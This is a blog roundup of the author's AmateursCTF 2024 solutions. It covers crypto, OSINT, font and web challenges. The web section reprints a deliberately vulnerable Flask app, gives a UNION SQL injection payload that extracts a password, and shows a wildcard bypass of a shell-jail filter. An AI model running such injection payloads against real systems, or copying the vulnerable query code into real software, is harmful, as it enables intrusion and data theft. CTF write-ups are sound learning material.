Blog section
CTF

AmateursCTF 2024 Writeup Roundup

A public AmateursCTF 2024 writeup roundup based on my original notes and challenge solves.

AmateursCTFCTFWebCryptoForensics

This post preserves my original public notes for AmateursCTF 2024 Writeup Roundup. I kept the challenge-by-challenge structure close to the source Markdown and only cleaned up formatting, image paths, and repeated footer text so it reads cleanly on the website.

AmateursCTF 2024

challenge screenshot

About the Event

Welcome to Les Amateurs's second CTF! Problems are targeted towards high schoolers, and will range from beginner-friendly all the way up to kernel pwn.

challenge screenshot

Conclusion

Pwned flags: 9/58

Total Score: 1186

Rank: 188th in Open Division and 221st in All Teams

  • Cryptography
    • aesy - 338 solves / 163 points
  • Jail
  • Misc
    • Survey - 204 solves / 1 point
    • Sanity-check - 830 solves / 56 points
  • Web Exploitation
  • OSINT

aesy

Description

Please aes-decrypt the flag for me:

key: 8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f

ciphertext: abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f

Solution Strategy

from Crypto.Cipher import AES
import binascii

def aes_decrypt(key_hex, ciphertext_hex):

    key = binascii.unhexlify(key_hex)
    ciphertext = binascii.unhexlify(ciphertext_hex)
    
    cipher = AES.new(key, AES.MODE_ECB)
    
    decrypted_bytes = cipher.decrypt(ciphertext)
    return decrypted_bytes

def hex_to_ascii(hex_string):

    ascii_string = bytes.fromhex(hex_string).decode('utf-8')
    return ascii_string

key = '8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f'
ciphertext = 'abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f'

decrypted_bytes = aes_decrypt(key, ciphertext)
decrypted_hex = binascii.hexlify(decrypted_bytes).decode()

decrypted_text = hex_to_ascii(decrypted_hex[:-2])

print(f"Decrypted text: {decrypted_text}")

challenge screenshot


Agile-Rut

Description

check out this cool font i made!
http://agile-rut.amt.rs
hint: if you get something that looks like the flag try pasting it into the box.

challenge screenshot

After reviewing the source code, I found a URL for the fonts.

challenge screenshot

challenge screenshot

Solution Strategy

cat agile-rut.otf

a.m.a.t.e.u.r.s.C.T.F.braceleft.zero.k.underscore.b.u.t.underscore.one.underscore.d.o.n.t.underscore.l.i.k.e.underscore.t.h.e.underscore.j.b.m.o.n.zero.underscore.equal.equal.equal.braceright

amateursctf{0k_but_1_dont_like_the_jbmon0_===}

Bathroom-Break

Description

I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?

This is the image I had:

challenge screenshot

challenge screenshot

Solution Strategy

I used Google Lens to identify this place.

challenge screenshot

It is called Hot Creek Geologic Site.

challenge screenshot

challenge screenshot

https://t.ly/phXhx

challenge screenshot


Cherry-Blossoms

Description

average southern californian reacts to DC weather. amazing scenery though at the time.

Find the coords of this image!

nc chal.amt.rs 1771

This is the image I had:

challenge screenshot

Solution Strategy

I asked Bing AI where in Washington, D.C., I could find cherry blossoms.

challenge screenshot

After checking several places Bing AI suggested, I found that Tidal Basin looked close.

challenge screenshot

#!/usr/bin/env python3
# modified from HSCTF 10 grader
import json
with open("locations.json") as f:
	locations = json.load(f)
wrong = False
for i, coords in enumerate(locations, start=1):
	x2, y2 = coords
	x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" "))
    # increase if people have issues
	if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010:
		print("Correct! You have successfully determined the position of the camera.")
	else:
		print("Wrong! Try again after paying attention to the picture.")
		wrong = True

if not wrong:
	with open("flag.txt") as f:
		print("Great job, the flag is ",f.read().strip())
else:
	print("Better luck next time ʕ·ᴥ·ʔ")
lat: 38.888532 long: -77.0343921

challenge screenshot


Denied

Description

what options do i have? http://denied.amt.rs

challenge screenshot

Here's the source code for analysis

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Solution Strategy

curl -I http://denied.amt.rs/

challenge screenshot

challenge screenshot


One-Shot

Description

my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge! http://one-shot.amt.rs

challenge screenshot

Here's the source code for analysis

from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

Solution Strategy

' AND '1'='2' UNION SELECT SUBSTR(password, 1, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 2, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 3, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 4, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 5, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 6, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 7, 32) FROM table_f4a180531af4e460
UNION SELECT SUBSTR(password, 8, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 9, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 10, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 11, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 12, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 13, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 14, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 15, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 16, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 17, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 18, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 19, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 20, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 21, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 22, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 23, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 24, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 25, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 26, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 27, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 28, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 29, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 30, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 31, 32) FROM table_f4a180531af4e460 
UNION SELECT SUBSTR(password, 32, 32) FROM table_f4a180531af4e460 --

challenge screenshot

challenge screenshot


SansOmega

Description

Somehow I think the pico one had too many unintendeds...

So I left some more in :)

`nc chal.amt.rs 2100`

challenge screenshot

Here's the source code for analysis

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'

def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

Solution Strategy

/*/????32 ????????

challenge screenshot

echo "MFWWC5DFOVZHGQ2UIZ5XA2LDGBPXONBVNY3V6ZZQGBSF63RQOVTWQXZVGBPWSXZXGAYGWX3TN5WT
GX3DOIZTI5BROYZV63BRMIZXE5BRGM2V6YLEMU4DQMRQMV6Q====" | base32 --decode

challenge screenshot